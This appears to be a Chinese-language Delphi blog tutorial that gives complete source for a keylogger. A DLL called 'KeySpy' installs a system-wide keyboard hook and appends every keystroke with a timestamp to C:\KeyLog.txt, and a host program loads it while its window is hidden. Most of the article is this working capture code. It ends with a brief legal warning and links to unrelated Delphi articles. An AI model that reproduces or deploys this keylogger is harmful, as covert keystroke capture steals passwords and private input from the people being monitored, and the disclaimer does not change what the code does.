Delphi 全域鍵盤 Hook 實作：DLL 注入攔截系統按鍵記錄

Windows Hook 機制允許將自定義函數注入系統訊息鏈，攔截鍵盤、滑鼠等輸入事件。全域 Hook 必須放在 DLL 中，才能在目標進程地址空間載入並執行。本文示範鍵盤記錄器核心代碼：DLL 端安裝 WH_KEYBOARD Hook、共享記憶體傳遞資料、主程式端動態載入/卸載 DLL、啟動與停止 Hook。

架構概覽

• KeySpy.dll：導出 SetKeyHook、EndKeyHook、SetMainHandle；DllMain 建立檔案映射共享記憶體。
• 主程式：LoadLibrary 載入 DLL，呼叫導出函數，隱藏視窗，記錄按鍵至檔案。

DLL 核心代碼 (KeySpy.dpr)

library KeySpy;
uses Windows, SysUtils, Classes;

var
  hNextHook: HHOOK = 0;
  hMap: THandle = 0;
  HookRec: PHookRec = nil; // 共享記憶體結構
  FileName: String = 'C:\KeyLog.txt';

type
  THookRec = record
    MainHandle: HWND;
    // 可擴充其他共享欄位
  end;

function KeyboardHookHandler(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var SL: TStringList;
begin
  if Code < 0 then begin
    Result := CallNextHookEx(hNextHook, Code, wParam, lParam);
    Exit;
  end;
  if lParam < 0 then Exit; // 僅處理 KeyDown

  SL := TStringList.Create;
  try
    if FileExists(FileName) then SL.LoadFromFile(FileName);
    SL.Add(FormatDateTime('YYYYMMDD HH:NN:SS:ZZZ: ', Now) + Char(wParam));
    SL.SaveToFile(FileName);
  finally
    SL.Free;
  end;
  Result := 0;
end;

function SetKeyHook: Bool; stdcall; export;
begin
  hNextHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookHandler, HInstance, 0);
  Result := hNextHook <> 0;
end;

function EndKeyHook: Bool; stdcall; export;
begin
  if hNextHook <> 0 then begin
    UnhookWindowsHookEx(hNextHook);
    hNextHook := 0;
    Beep;
  end;
  Result := hNextHook = 0;
end;

procedure SetMainHandle(Handle: HWND); stdcall; export;
begin
  if HookRec <> nil then HookRec.MainHandle := Handle;
end;

procedure EntryPoint(Reason: Integer);
begin
  case Reason of
    DLL_PROCESS_ATTACH:
      begin
        hMap := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), '_CBT');
        HookRec := MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 0);
      end;
    DLL_PROCESS_DETACH:
      begin
        if HookRec <> nil then UnmapViewOfFile(HookRec);
        if hMap <> 0 then CloseHandle(hMap);
      end;
  end;
end;

exports
  SetKeyHook index 1,
  EndKeyHook index 2,
  SetMainHandle index 3;

begin
  DllProc := @EntryPoint;
  EntryPoint(DLL_PROCESS_ATTACH);
end.

主程式呼叫代碼

function SetKeyHook: Bool; external 'KeySpy.dll' index 1;
function EndKeyHook: Bool; external 'KeySpy.dll' index 2;
procedure SetMainHandle(Handle: HWND); external 'KeySpy.dll' index 3;

// 啟動
SetMainHandle(Handle);
SetKeyHook;

// 停止
EndKeyHook;

關鍵技術點解析

擴充應用方向

• 熱鍵註冊：Hook 中檢測特定組合鍵 (Ctrl+Alt+X) 觸發主程式動作。
• 輸入法狀態監控：搭配 IMM32 API 獲取輸入法開關、組合字串。
• 遊戲外掛/自動化：模擬按鍵發送 (SendInput) + Hook 監控回饋。
• 安全稽核：企業環境記錄敏感操作 (需合法授權)。

法律與道德警示：未經授權記錄他人按鍵屬違法監聽。本代碼僅供學習 Hook 機制、開發合法輔助工具（如無障礙輸入、熱鍵管理），嚴禁用於竊取密碼、監控隱私。

1. 上一篇文章： Delphi 字串搜尋優化實戰：從 Pos 到指標掃描，效能提升 35%
2. 下一篇文章： Delphi 純代碼繪製 3D 介面：漸層背景、銅柱邊框、立體按鈕完整源碼

Delphi

GDI+ 畫筆對齊模式解析：PenAlignmentCenter 與 PenAlignmentInset 視覺差異

IGPPen.Alignment 屬性詳解 畫筆繪製閉合圖形

IE 條件註釋完整語法指南：版本判斷、關鍵字解析與非 CSS 用法

IE 條件註釋（Conditional Comments）是

Delphi 2009 智能指針實作詳解（九）：Release 與 Get 方法的行為差異

Get 方法：保持管理權 預設測試輸出： 物件在方法結束時

KOL (Key Objects Library)：打造極致微型 Delphi GUI 應用的革命性類庫

為何需要 KOL？VCL 的「體重」困境 VCL 功能強大、